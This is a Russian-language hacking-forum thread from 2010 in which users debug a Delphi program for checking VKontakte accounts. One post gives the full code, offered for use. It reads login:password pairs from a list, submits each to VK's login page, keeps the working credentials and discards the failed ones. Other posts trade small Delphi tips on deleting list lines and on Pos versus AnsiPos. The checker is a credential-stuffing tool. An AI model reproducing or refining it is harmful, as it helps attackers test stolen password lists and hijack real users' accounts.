27.04.2010, 23:21
|
|
Познающий
Регистрация: 21.11.2009
Сообщений: 77
С нами:
8668804
Репутация:
29
|
|
Сообщение от stepashka_
Да не всё Ок там 
Подскажите можно как то провереный акк удалять из мемо1? после того как он сохранился в мемо2-3 memo1.lines.delete(0);
удаляет первую строку
|
|
|
27.04.2010, 20:00
|
|
Участник форума
Регистрация: 07.02.2010
Сообщений: 189
С нами:
8556802
Репутация:
79
|
|
stepashka_,
тебе exe'шник кинуть где у меня все работает?
Запускай без дебагера. И проверь номера мемо, мб где то не тот номер! |
|
|
|
27.04.2010, 20:06
|
|
Познавший АНТИЧАТ
Регистрация: 09.11.2009
Сообщений: 1,077
С нами:
8686406
Репутация:
265
|
|
Всё гуд заработало!
|
|
|
|
27.04.2010, 21:28
|
|
Участник форума
Регистрация: 01.03.2009
Сообщений: 121
С нами:
9050197
Репутация:
38
|
|
а можно в WebBrowser парсить определённый участок кода, например:
с <!-- begin -->
...
до <!-- / end -->
и выводить в браузер? только сохрание всей страници на хард, потом парсить, потом выводить - не катит.
|
|
|
|
27.04.2010, 22:44
|
|
Участник форума
Регистрация: 20.12.2008
Сообщений: 277
С нами:
9152955
Репутация:
84
|
|
Наврядли. Только если перехватывать пакеты на низком уровне наверное
|
|
|
|
27.04.2010, 23:21
|
|
Участник форума
Регистрация: 20.12.2008
Сообщений: 277
С нами:
9152955
Репутация:
84
|
|
Memo2.Lines.Delete(Memo2.Lines.IndexOf(account));
Последний раз редактировалось GhostOnline; 28.04.2010 в 15:41..
|
|
|
|
27.04.2010, 23:31
|
|
Участник форума
Регистрация: 18.07.2009
Сообщений: 278
С нами:
8850305
Репутация:
259
|
|
вы тут все извращенцы какие то)))) как можно с помощью pos() определить положение символа в строке???))) для этого используется ansipos()
PHP код:
procedure TForm1.Button1Click(Sender: TObject);
var
uns, s,log,pass: String;
begin
idhttp1.HandleRedirects := True;
while memo1.lines.count-1>=0 do
begin
log:=copy(memo1.lines[0],1,AnsiPos(':',memo1.lines[0])-1);
pass:=copy(memo1.lines[0],AnsiPos(':',memo1.lines[0])+1,length(memo1.lines[0]));
uns:=idhttp1.get('http://login.vk.com/?act=login&email='+log+'&pass='+pass+'&expire=&vk=');
s:=Copy(uns,Pos('value=',uns)+7,56);
try
idhttp1.get('http://vk.com/login.php?op=slogin&redirect=1&expire=0&to=&s='+s);
uns := idhttp1.Get('http://vk.com/');
memo2.lines.add(log + ':' + pass);
except
*On E: Exception do begin
* memo3.lines.add(log + ':' + pass);
* memo2.Lines.Delete(memo2.Lines.Count);
memo1.Lines.Delete(0);
end;
end;
end.
вот и весь код господи)))) проверили, добавили, удалили и се! пользуйтесь
Последний раз редактировалось EndLeSSDre@M; 27.04.2010 в 23:54..
|
|
|
|
28.04.2010, 09:16
|
|
Участник форума
Регистрация: 23.07.2009
Сообщений: 261
С нами:
8843557
Репутация:
539
|
|
Сообщение от EndLeSSDre@M
вы тут все извращенцы какие то)))) как можно с помощью pos() определить положение символа в строке???))) для этого используется ansipos()
Мда... 
Описание функции Pos()
Функция Pos находит позицию одной строки Needle в другой строке HayStack.
Если строка не найдена, возвращается 0.
PHP код:
var
p: integer;
begin
p := Pos('5', '12534');
if p = 0
then ShowMessage('''5'' не найдено!')
else ShowMessage('''5'' найдено начиная с символа '+IntToStr(p));
end;
|
|
|
|
28.04.2010, 02:14
|
|
Участник форума
Регистрация: 20.02.2009
Сообщений: 183
С нами:
9063843
Репутация:
50
|
|
как можно с помощью pos() определить положение символа в строке???))) для этого используется ansipos()
Да легко)) Так же как и с AnsiPos
Какая разница какую функцию использовать?
В идеале конечно Pos надо юзать когда нужно найти позицию одной строки в другой, но можно использовать и для нахождения определенного символа.
Это никак не повлияет на результат)))
Последний раз редактировалось warkk; 28.04.2010 в 02:18..
|
|
|
|
28.04.2010, 11:44
|
|
Участник форума
Регистрация: 18.07.2009
Сообщений: 278
С нами:
8850305
Репутация:
259
|
|
Кароче забейте))) я видать только в это вдумался)))
Если строка не найдена, возвращается 0.
ну не суть... главное мой код работает... ansipos мну больше нравится |
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
